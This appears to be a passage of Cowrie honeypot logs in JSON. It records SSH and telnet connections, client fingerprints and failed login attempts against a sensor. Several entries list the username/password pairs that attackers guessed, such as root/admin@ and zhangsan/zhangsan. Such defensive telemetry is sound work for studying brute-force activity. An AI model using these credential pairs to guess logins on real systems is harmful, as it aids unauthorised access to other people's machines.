{"eventid":"cowrie.login.failed","username":"root","password":"admin@","message":"login attempt [root/admin@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:23.067991Z","src_ip":"27.71.230.31","session":"1a77e1b728ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:24.548480Z","src_ip":"27.71.230.31","session":"1a77e1b728ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":34406,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb5ce369debe","protocol":"ssh","message":"New connection: 43.166.242.149:34406 (159.203.135.109:22) [session: cb5ce369debe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:31.045834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:31.049401Z","src_ip":"43.166.242.149","session":"cb5ce369debe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:31.059078Z","src_ip":"43.166.242.149","session":"cb5ce369debe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"think","password":"think123","message":"login attempt [think/think123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:31.131469Z","src_ip":"43.166.242.149","session":"cb5ce369debe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:32.146324Z","src_ip":"43.166.242.149","session":"cb5ce369debe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15210,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a095fd94a84","protocol":"ssh","message":"New connection: 194.59.206.2:15210 (159.203.135.109:22) [session: 8a095fd94a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:04.048020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:04.080847Z","src_ip":"194.59.206.2","session":"8a095fd94a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:04.147510Z","src_ip":"194.59.206.2","session":"8a095fd94a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:04.319869Z","src_ip":"194.59.206.2","session":"8a095fd94a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55074,"dst_ip":"159.203.135.109","dst_port":23,"session":"876358573350","protocol":"telnet","message":"New connection: 172.81.62.90:55074 (159.203.135.109:23) [session: 876358573350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:31.711314Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51804,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5c8350c9f5a","protocol":"ssh","message":"New connection: 27.71.230.31:51804 (159.203.135.109:22) [session: c5c8350c9f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:39.485541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:39.529869Z","src_ip":"27.71.230.31","session":"c5c8350c9f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:42.835826Z","src_ip":"27.71.230.31","session":"c5c8350c9f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@","message":"login attempt [root/admin@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:46.191982Z","src_ip":"27.71.230.31","session":"c5c8350c9f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:22:49.441752Z","src_ip":"27.71.230.31","session":"c5c8350c9f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.002885818481445,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:09.714075Z","src_ip":"172.81.62.90","session":"876358573350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":60092,"dst_ip":"10.17.0.5","dst_port":22,"session":"12daae2faabd","protocol":"ssh","message":"New connection: 72.17.34.38:60092 (10.17.0.5:22) [session: 12daae2faabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:15.863607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:15.867241Z","src_ip":"72.17.34.38","session":"12daae2faabd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:15.901520Z","src_ip":"72.17.34.38","session":"12daae2faabd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangsan","password":"zhangsan","message":"login attempt [zhangsan/zhangsan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:16.074199Z","src_ip":"72.17.34.38","session":"12daae2faabd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:17.111681Z","src_ip":"72.17.34.38","session":"12daae2faabd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:23:21.945289Z","src_ip":"176.32.39.21","session":"4e851db7d566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53256,"dst_ip":"159.203.135.109","dst_port":23,"session":"a03744a0b9b1","protocol":"telnet","message":"New connection: 172.81.62.90:53256 (159.203.135.109:23) [session: a03744a0b9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:00.843776Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53272,"dst_ip":"159.203.135.109","dst_port":23,"session":"b96de4ad9a1e","protocol":"telnet","message":"New connection: 172.81.62.90:53272 (159.203.135.109:23) [session: b96de4ad9a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:01.857614Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":46820,"dst_ip":"159.203.135.109","dst_port":22,"session":"f77b9560b7a4","protocol":"ssh","message":"New connection: 147.45.211.215:46820 (159.203.135.109:22) [session: f77b9560b7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:36.796958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:36.800340Z","src_ip":"147.45.211.215","session":"f77b9560b7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:36.972189Z","src_ip":"147.45.211.215","session":"f77b9560b7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21342134l","message":"login attempt [root/21342134l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:37.497644Z","src_ip":"147.45.211.215","session":"f77b9560b7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05376172065735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:37.911247Z","src_ip":"172.81.62.90","session":"b96de4ad9a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.17305779457092,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:38.016737Z","src_ip":"172.81.62.90","session":"a03744a0b9b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:38.676316Z","src_ip":"147.45.211.215","session":"f77b9560b7a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.159.88.90","src_port":55030,"dst_ip":"159.203.135.109","dst_port":23,"session":"751ebe28d5e4","protocol":"telnet","message":"New connection: 180.159.88.90:55030 (159.203.135.109:23) [session: 751ebe28d5e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:41.754924Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":46223,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe641cfed018","protocol":"telnet","message":"New connection: 99.227.227.84:46223 (10.17.0.5:23) [session: fe641cfed018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:51.035443Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":46378,"dst_ip":"159.203.135.109","dst_port":23,"session":"af606ad004f8","protocol":"telnet","message":"New connection: 128.199.209.169:46378 (159.203.135.109:23) [session: af606ad004f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:51.570097Z"}
{"eventid":"cowrie.session.closed","duration":5.7392964363098145,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:24:57.309296Z","src_ip":"128.199.209.169","session":"af606ad004f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58412,"dst_ip":"159.203.135.109","dst_port":22,"session":"17cc358bd184","protocol":"ssh","message":"New connection: 80.94.92.184:58412 (159.203.135.109:22) [session: 17cc358bd184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:00.819221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:00.900302Z","src_ip":"80.94.92.184","session":"17cc358bd184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:02.024877Z","src_ip":"80.94.92.184","session":"17cc358bd184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:03.937172Z","src_ip":"80.94.92.184","session":"17cc358bd184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:05.296563Z","src_ip":"80.94.92.184","session":"17cc358bd184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.859232187271118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:12.613867Z","src_ip":"180.159.88.90","session":"751ebe28d5e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.244.18","src_port":7138,"dst_ip":"10.17.0.5","dst_port":22,"session":"48cc677ff569","protocol":"ssh","message":"New connection: 206.212.244.18:7138 (10.17.0.5:22) [session: 48cc677ff569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.802498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.807258Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:25:16.820096Z","src_ip":"206.212.244.18","session":"48cc677ff569","protocol":"ssh"}
